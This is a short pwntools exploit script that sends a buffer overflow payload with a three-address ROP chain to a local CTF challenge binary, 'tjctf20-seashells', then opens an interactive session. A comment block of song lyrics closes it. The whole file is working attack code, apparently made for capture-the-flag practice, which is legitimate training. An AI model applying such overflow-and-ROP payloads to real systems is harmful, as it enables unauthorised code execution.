# +------------------------------------------------+
# | Atack: Bof System                              |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction

from pwn import *

import sf

target = process("./chall-test_tjctf20-seashells")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=64)

bof_payload.set_input_start(0x12)
rop_chain = [4196355, 4196392, 4195776]
bof_payload.add_rop_chain(rop_chain)
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Distrubed                              |
# +------------------------------------------------+
# | Song: The Sound of Silence                     |
# +------------------------------------------------+
# | Hello Darkness,                                |
# | my old friend                                  |
# +------------------------------------------------+

